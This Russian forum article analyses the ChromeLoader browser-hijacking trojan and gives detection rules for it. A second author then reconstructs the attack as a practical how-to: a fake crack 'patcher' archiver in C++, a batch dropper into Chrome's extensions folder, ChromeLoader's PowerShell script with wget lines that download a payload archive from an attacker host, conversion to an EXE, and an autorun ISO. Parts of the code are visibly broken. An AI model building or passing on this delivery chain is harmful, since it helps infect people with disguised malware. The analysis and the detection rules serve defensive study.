• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Анализ вируса Chromeloader: что, как и с чем едят или чем опасно пиратство

1663419677253.png

Дисклеймер
Статья написана исключительно в ознакомительных целях, не побуждает к каким-либо злодеяниям и действиям, связанными с ними.

Wassup.

Наверное каждому современному интернет-пользователю известно, что такое удовольствие как "скачать бесплатно без смс и регистрации" может понести за собой некие последствия. И дело даже не в том, что во многих странах это уголовно наказуемо, и не в том, что разработчики тратят годы на создание того, на что вы пожалеете 5 условных единиц. Проблема, собственно, в том, что шло "бонусом" вместе со спёртой игрой, крякнутым ПО или фильмом в качестве 8К миллион FPS. Об одном из многочисленных вариантов такого подарка судьбы пойдёт речь сегодня, имя ему - ChromeLoader.

Самым близким к истине будет его определение как вирус-троян. Стоит сразу уточнить, не из разряда тех, что заставит ваш компьютер коптить, искрить и разлагаться. Наиболее явное его проявление - он становится расширением браузера, а далее перехватывает поисковые запросы пользователя, перебрасывая трафик на рекламные сайты. Однако особенность в том, что он использует PowerShell для внедрения, что делает его гораздо менее заметным для инструментов безопасности. Это приближает ChromeLoader к сборщику учётных данных или к шпионскому ПО, ибо такое использование шелла может помочь другим вредоносным программам закрепиться в системе и остаться при этом незамеченными, перед тем как натворить что-то посерьёзнее. Примечательно ещё и то, что доступна эта радость не только для Windows, но и для юзеров macOS.

Давайте же наконец поглядим с чем нам предстоит иметь дело.

1(1).png


Хм... Какая-то штука из Твиттера, за красным квадратом скрыт QR-код. Если преобразовать это к нашему сегменту, то получится примерно вот такое:

1.jpg


Примитивно до боли, но кто-то ведь ведётся... После загрузки и запуска установщика файл с расширением .ISO извлекается и устанавливается как диск на устройстве жертвы. Внутри находится файл, используемый для установки ChromeLoader как расширения, а также нечто, похожее на оболочку .NET для планировщика заданий Windows. Таким образом вирус сохраняет своё присутствие на ПК жертвы. На скриншоте ниже VirusTotal показал какие именно файлы дропнул вредоносный ISO:

2.png


CS_Installer.exe создает постоянство посредством запланированной задачи с помощью svchost.exe. Примечательно и то, что ChromeLoader не вызывает планировщик задач Windows (schtasks.exe) для добавления этой задачи, как можно было бы ожидать, а просто загружает COM API планировщика заданий внедряя между другими процессами. Для визуализации - внедрение в svchost.exe показано ниже.


3.png


Такое переплетение с другими процессами часто используется и обычными приложениями, это не нонсенс. Но подозрительно то, что исходный процесс расположен на виртуальном диске. Чтобы заметить неладное важно уметь следить за процессами, откуда они исходят и какой программой создаются. Изначально путь исполняемого файла не затрагивает диск C:\, но инициирует переплетение каких-то процессов, связанных конкретно с ним. Такие странности характерны не только ChromeLoader`у, но и многим другим червям, что со съемных дисков лезут в C:\drive процессы, такие как explorer.exe, для распространения на машине жертвы. После завершения внедрения запланированная задача будет выполняться через svchost, вызывая интерпретатор команд (cmd.exe), который выполняет команду PowerShell в кодировке Base64, содержащую несколько переменных. ChromeLoader использует укороченный -encodedcommand флаг для кодирования своей команды:

4.png


Человеку, который вот-вот скачал кряк полного пакета Майкрософт Офис по ссылке из поста в Твиттере, наверное и не снились все эти буквы и страшные символы. Если же отбросить шутки в сторону, то вот вам приукрашенная и упрощённая версия этого CLI PowerShell от пользователем Reddit «Russianh4ck3r».

5.png


В этой команде шелл проверяет, установлено ли расширение ChromeLoader. Если конкретный путь к файлу не найден, он извлечет архивный файл из удаленного места, используя wget и загрузит содержимое как расширение хрома. Как только оно будет найдено, эта команда автоматически удалит запланированную задачу ChromeLoader с помощью Unregister-ScheduledTask функции. Затем вредонос загружает свое расширение в браузер для превращение в Chrome с --load-extension флагом и ссылается на путь к файлу загруженного не так давно расширения.

6.png


Вот и всё. Теперь наш вирус занял своё место, и приступает к реализации своих функций, а именно: перенаправлять результаты поисковых запросов через вредоносные домены, а также перенаправлять юзера со страницы расширений хрома, если тот вдруг попытается его удалить.

А теперь быстренький обзор на версию для Мака. Что касается способа заражения - механизм ловли на халявщиков остался, разница в названиях того что и куда внедряется. Тут уже не хромом единым, есть возможность заразить даже браузер Safari. Для винды у нас был ISO, здесь же файл с расширением DMG. И в отличие от версии для Windows, файл DMG содержит сценарий установки, который сбрасывает полезные нагрузки для браузеров, а не переносимый исполняемый файл. При открытии сценарий установки затем инициирует cURL для извлечения ZIP-файла, содержащего вредоносное расширение браузера, и распаковывает его в каталог, наконец, запуская Chrome с параметрами командной строки для загрузки. Для постоянства вирус добавит в каталог plistфайл настроек ( ) /Library/LaunchAgents. Это гарантирует беспрерывное выполнение ChromeLoader Bash скрипта.

Теперь к методам обнаружения всего описанного выше добра. Не все закодированные PowerShell являются вредоносными, но за закодированными командами стоит следить. Подозрения могут вызывать:

1. PowerShell, содержащий сокращенную версию encodedCommand флага в своей командной строке
Код:
process_name == powershell.exe
&&
command_line_includes (-e, -en, -enc, [идет последовательно до полного флага, -encodedcommand])

2. Порождённый PowerShell chrome.exe, содержащий командную строку load-extension и внутри нее AppData\Local в качестве параметра
Код:
parent_process_name == powershell.exe
&&
process_name == chrome.exe
&&
command_line_includes ( AppData\Local, load-extension)

3. Shell, загружающий расширение Chrome в командной строке
Код:
parent_process_equals_any (sh || bash)
&&
process_name_is_osx?
&&
command_line_includes ( /tmp/|| load-extension|| chrome)

4. Команды, закодированные в Base64, перенаправлены в процесс Shell

Код:
command_line_includes ( echo, base64)
&&
childproc_equals_any (sh, bash, zsh)


(Пункты 3 и 4 - для случаев на macOS).

Какой-то мужик поделится практической информацией и нюансами в реализации подобной атаки

Йо, ребята, теперь с вами уже @DeathDay. Неожиданно, да? Я опять влез в чужую статью, но да пусть. И сейчас мы с вами проведем практический тест, в котором попытаемся выстроить полноценную атаку, используя исключительно полезную нагрузку самого вредоноса и СLI Powershell. Чтобы вы наглядно могли увидеть, насколько реализация этого всего проста.

Если кто не понял, то пэйлоадом выступает здесь отнюдь не .exe файлик, а как раз таки расширение Хрома, которое путем очень хитрых манипуляций устанавливается в мой любимый(не нужно плевать в мою сторону) браузер.

Итак, у меня есть две идеи, как же можно подобное организовать. Первый вариант - самый безвредный и простой, а как вы знаете зачастую незамысловатые идеи работают намного лучше, чем планы на четыре бумажных листа. А второй уже будет больше походить на оригинал.

Мне с большим трудом удалось отыскать само расширение, решив посмотреть что же в нем такого необычного, я был разочарован. Он до боли прост, но состоит из двух частей: серверной и так называемой стиллерной.

Стало быть приступаем. Что если упустить вот эту сложную часть с Повершеллом и сразу перейти к экстракту в нужное место - в папку хранения расширений хрома. Завуалировать это дело… О, придумал. Если человек заведомо знает, что он качает кряк, то простым путем внушения, мол нужно ещё и установить якобы “таблетку”, то он это и сделает. Сомневаетесь? А Колян из четвертого Б класса поступил именно так.

Хе-хе, значится, создадим простенький экстрактор, ну типа для виду и .bat файлик с запуском и параметрами выгрузки в нужный каталог, в котором находятся расширения:
Код:
%userprofile%\AppData\LocalGoogle\Chrome\User Data\Default\Extensions

1663419418297.png


Значится пишем архиватор на С, почему не питон? Потому что я не Johan Van и в этом языке не шарю.

Начинаем с импорта библиотек необходимых для работы нашего чуда:
Код:
include <iostream>
include <string>
include <vector>
include <clocale>

Стандарт. Но для упрощения и сокращения кода воспользуемся STD, также будем использовать стандартное пространство имен:
Код:
using namespace std

Затем вкинем информацию, которую будет требовать и выводить скрипт:
Код:
<size_of_string>||<filesize>||<filename>||<filesize>||<filename>|| ... ||<end_of_info>||

У нас будет всего-то один класс, назовем его PetyaTorrentCracker228SuperVzlom.iso.torrent.zip.exe.bat в сокращенном варианте - Patcher.

Выглядеть это будет так, пояснения в коде приложены:
Код:
class Patcher{



private:

    vector<string> files;   // набор файлов (-files)

    string path;            // путь (-path)

    string real_bin_file;   // имя выходного файла-архива( используется при архивации )

public:

    Zipper(vector<string> &vec, string p)

    {

          if(vec.size()>0) files.assign(vec.begin(),vec.end());

          path = p+"\";

          real_bin_file=path+"binary.patcher";

        }



        }

    void getInfo();   // Метод для получения информации о файлах на этапе архивации

    void InCompress();   // Архивация данных

    void OutCompress(string binary);   // Распаковка данных ( binary - путь до архива )



    // Статический метод для выделения имени файла из полного пути.

    // Используется для внутренних нужд.

    static string get_file_name(string fn){return fn.substr(fn.find_last_of("\")+1,fn.size());}

};

Теперь реализуем сам метод разархивации и разархивации:
Код:
void Patcher::OutCompress(string binary)

{

    FILE *bin = fopen(binary.c_str(),"rb");   // открываем архив в режиме чтения

    char info_block_size[5];   // размер информационного блока

    fread(info_block_size,1,5,bin);  // получаем размер

    int _sz = atoi(info_block_size);  // преобразуем буфер в число



    char *info_block = new char[_sz];  // информационный блок

    fread(info_block,1,_sz,bin);   // считываем его



    // Парсинг информационного блока :

    vector<string> tokens;

    char *tok = strtok(info_block,"||");

    int toks = 0;

    while(tok)

    {

        if(strlen(tok)==0) break;

        tokens.push_back(tok);

        tok=strtok(NULL,"||");

        toks++;

    }



    if(toks%2==1) toks--;  // удаляем мусор

    int files=toks/2;  // количество обнаруженных файлов в архиве



    char byte[1];   // единичный буфер для считывания одного байта



    // Процесс распаковки всех файлов( по правилам полученным из блока с информацией ) :

    for(int i=0;i<files;i++)

    {

        const char* size = tokens[i*2].c_str();

        const char* name = tokens[i*2+1].c_str();

        char full_path[255];

        strcpy(full_path,this->path.c_str());

        strcat(full_path,name);

        int _sz = atoi(size);

        cout<<"--  '"<<name<<"' извлечен в '"<<this->path<<"' ."<<endl;

        FILE *curr = fopen(full_path,"wb");

        for(int r=1;r<=_sz;r++)

        {

            if(fread(byte,1,1,bin)==1) fwrite(byte,1,1,curr);

        }

        fclose(curr);



        delete [] size;

        delete [] name;

    }

    fclose(bin);



}



void patcher::InCompress()

{

    char byte[1];  // единичный буфер для считывания одного байта



    getInfo();  // получаем необходимую информацию о том, что архивируем



    FILE *f;

    FILE *main=fopen((this->real_bin_file).c_str(),"wb");  // файл - архив

    FILE *info = fopen((this->path+"info.txt").c_str(),"rb");  // файл с информацией



    // переписываем информацию в архив

    while(!feof(info))

    {

        if(fread(byte,1,1,info)==1) fwrite(byte,1,1,main);

        }



        fclose(info);

        remove((this->path+"info.txt").c_str());  // прибираемся за собой



    // последовательная запись в архив архивируемых файлов побайтно :

    for(vector<string>::iterator itr=this->files.begin();itr!=this->files.end();++itr)

    {

        f = fopen((*itr).c_str(),"rb");

        if(!f){ cout<<*itr<<" не найден!"<<endl; break;}

        while(!feof(f))

        {

            if(fread(byte,1,1,f)==1) fwrite(byte,1,1,main);

        }

        cout<<*itr<<" добавлен в архив '"<<this->real_bin_file<<"'."<<endl;

        fclose(f);

    }

    fclose(main);

}

А теперь реализуем поддержку тех самых четырех начальных параметров, делается это легко:
Код:
int main(int argv, char* argc[])

{

    /*/  Supported args:

    //

    //    -pack, -unpack, -files, -path

    //

    /*/



    setlocale(LC_ALL,"UzBeckHacker");

    cout<<endl<<"#########UzBEEKHacked############ Patcher2 ########################"<<endl<<endl;

    if(argv>1)

    {

        vector<string> files;  // массив файлов, переданных через параметры из консоли

        string path = "";  // путь

        bool flag_fs = false, flag_path = false;  // флаги режима чтения/записи

        char type[6];              // тип: упаковка или распаковка

        memset(type,0,6);



        for(int i=1;i<argv;i++)

        {

            if(strcmp(argc[i],"-pack")==0) { strcpy(type,"pack"); flag_fs=flag_path=false;}

            if(strcmp(argc[i],"-unpack")==0) { strcpy(type,"unpack"); flag_fs=flag_path=false;}

            if(strcmp(argc[i],"-path")==0) {flag_path=true; flag_fs=false; continue; }

            if(strcmp(argc[i],"-files")==0) {flag_fs=true; flag_path=false; continue; }



            if(flag_path) {path.assign(argc[i]); }

            if(flag_fs) files.push_back(string(argc[i]));



        }

        Patcher *zip = new Patcher(files,path);

        if(strcmp(type,"pack")==0) zip->InCompress();

        if(strcmp(type,"unpack")==0) zip->OutCompress(files[0]);

    }

    else cout<<"Параметры -pack/-unpack , -files, -path обязательны!"<<endl;

    cout<<endl<<"########################################################"<<endl<<endl;



}

Компилируем и … Все. Возьмем наше вредоносное расширение, предварительно изменив строку на айпи адрес нашей виртуальной машины:
Код:
const url = `${98.123.43.52}/u`;

И пакуем его нашим архиватором, дабы расширение архива было .patcher(типа непонятный файл для патча, кто подумает, что это архив?):
Код:
patcher -pack  -files /C/Kirin/Desktop/background.js -path /C/Kirin/Desktop/Patch

Теперь нужно написать bat-файлик, который проведет экстракт файла в нужную директорию, содержимое его будет таковым:
Код:
@echo off
start patcher.exe  -unpack -files patch.patcher -path %userprofile%\AppData\LocalGoogle\Chrome\User Data\Default\Extensions

Дело в шляпе. Как-то его называем и можно тестировать. Открываем папочку с расширениями хрома, следом запускаем батник. Результаты довольно хороши, в целевой директории появляется скрипт .JS, который и есть приложением для браузера. Открываем хром и замечаем, что одно расширение имеется и работает.

Теперь разберемся со слушателем, здесь как пальцем об асфальт:
Код:
pip3 install flask rich
flask rich 666

Теперь у нас работает прослушивание порта 666, собственно на этом с первым способом все.


Второй будет основан на базе информации о атаках ХромЛоадера. Так как нам удалось заполучить скрипт Powershell, который выполнял основную часть грязной работы, то это не составит особой проблемы.

Сперва давайте проанализируем имеющийся код:
Код:
$extPath = "$($env:LOCALAPPDATA)\chrome"
$confPath = "$extPath\conf.js"
$archiveName = "$($env:LOCALAPPDATA)\archive.zip"
$taskName = "ChromeLoader"
$domain = "brokenna.work"


Из этого мы видим каким должно быть название процесса, естественно, оно в нашем случае опционально и его нужно будет заменить. Так-с, что ещё интересного, название самого расширения-стиллера должно быть conf.js. Наиболее важной строкой есть вот эта, отвечающая за скачивание самого архива с полезной нагрузкой:
Код:
wget "https://$domain/archive.zip" -outfile "$archiveName"

И сюда ведь можно впихнуть все, чего душе будет угодно, а если ещё и переделать скрипт под себя, то… Ну вы поняли. Это будет очень хорошим подспорьем для будущих статей.

1663419391543.png


Итак, сперва редактируем скрипт ПВ. Переименуем имя процесса на Uzbek, почему узбек? Просто, они крутые.

В плане wget можно посвоевольничать немного: как выгрузить на какой-то общедоступный файлообменник, так и использовать ngrok или свой сервер apache. Мне больше по душе самый последний вариант, потому так и сделаем:
Код:
service apache2 start

Поместим архив с нашим вредоносным расширением в папочку апачи, так как тесты проводить будем в локальной сети, смысла выводить подключение в общую сеть нет. Быстренько меняем ссылочку в wget:
Код:
wget "http://192.168.42.1/uzbek.zip" -outfile "archivemadebyUzbek"

Теперь наш вредоносный код нужно превратить в исполняемый файл, ну, чтобы выглядело все красиво, поэтому сохраняем его в формате uzbek.ps1, а далее начинаются танцы с бубном.

Открываем консоль павершелл, где устанавливаем модуль ps2exe и конвертируем ПСку в ЕХЕльку:
Код:
Install-Module ps2exe
Invoke-ps2exe .\uzbek.ps1 .\kazach.exe

Вот так вот узбек переквалифицировался в казаха.

Так-с, затем упакуем вредонос в .iso, для этого у меня под рукой оказалась, совсем случайным образом, программка isoworkshop, которая вполне способна справиться с задачей. Я вообще не шарю, что делать, поэтому пойду гуглить, пока.

Ага-а, нужно создать загрузочный образ, делается это путем проб, ошибок и рандомных кликов, главное это галочка напротив пункта “run instant”, которая сразу же в случае открытия диска запустит kazach.exe, а тот в свою очередь начнет дроп вредоносных файлов. Сохраняем ISO и идем тестировать.


1663419363444.png


Открываем вредоносный образ на виртуальной машине. Сразу отмечу минусом, что я не придумал как сделать так, чтобы содержимое на диске не можно было просматривать, но это и не играет особой роли.

Новый диск имеется, в процессах числится некий uzbek, а в папочке расширений появляется вредонос. Как-то так. На этом у меня все, передаю эстафету автору.

Итог

В очередной раз подтвердилась цитата Конфуция: "Даром только птички поют". Что ж... Будьте осторожны в интернете, пейте воду, мойте руки с мылом. Спасибо за внимание :)
D: Автор оказался очень немногословным, добавлю, что этот вирус можно легко обмануть, если у вас система стоит на каком-то диске D или с кастомным названием, как у меня. Само проявление Chromeloader не представляет угрозы критического уровня, но если кому-то взбредет в голову доработать его и добавить деструктивного потенциала, возможно, это станет новой метой. А с вами был тот самый @DeathDay, влезший в чужую статью (и его редактор Яш уже как автор) . Бывайте.
 

Вложения

  • Powershell,Chromeloader,Patcher.zip
    4,6 КБ · Просмотры: 107
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!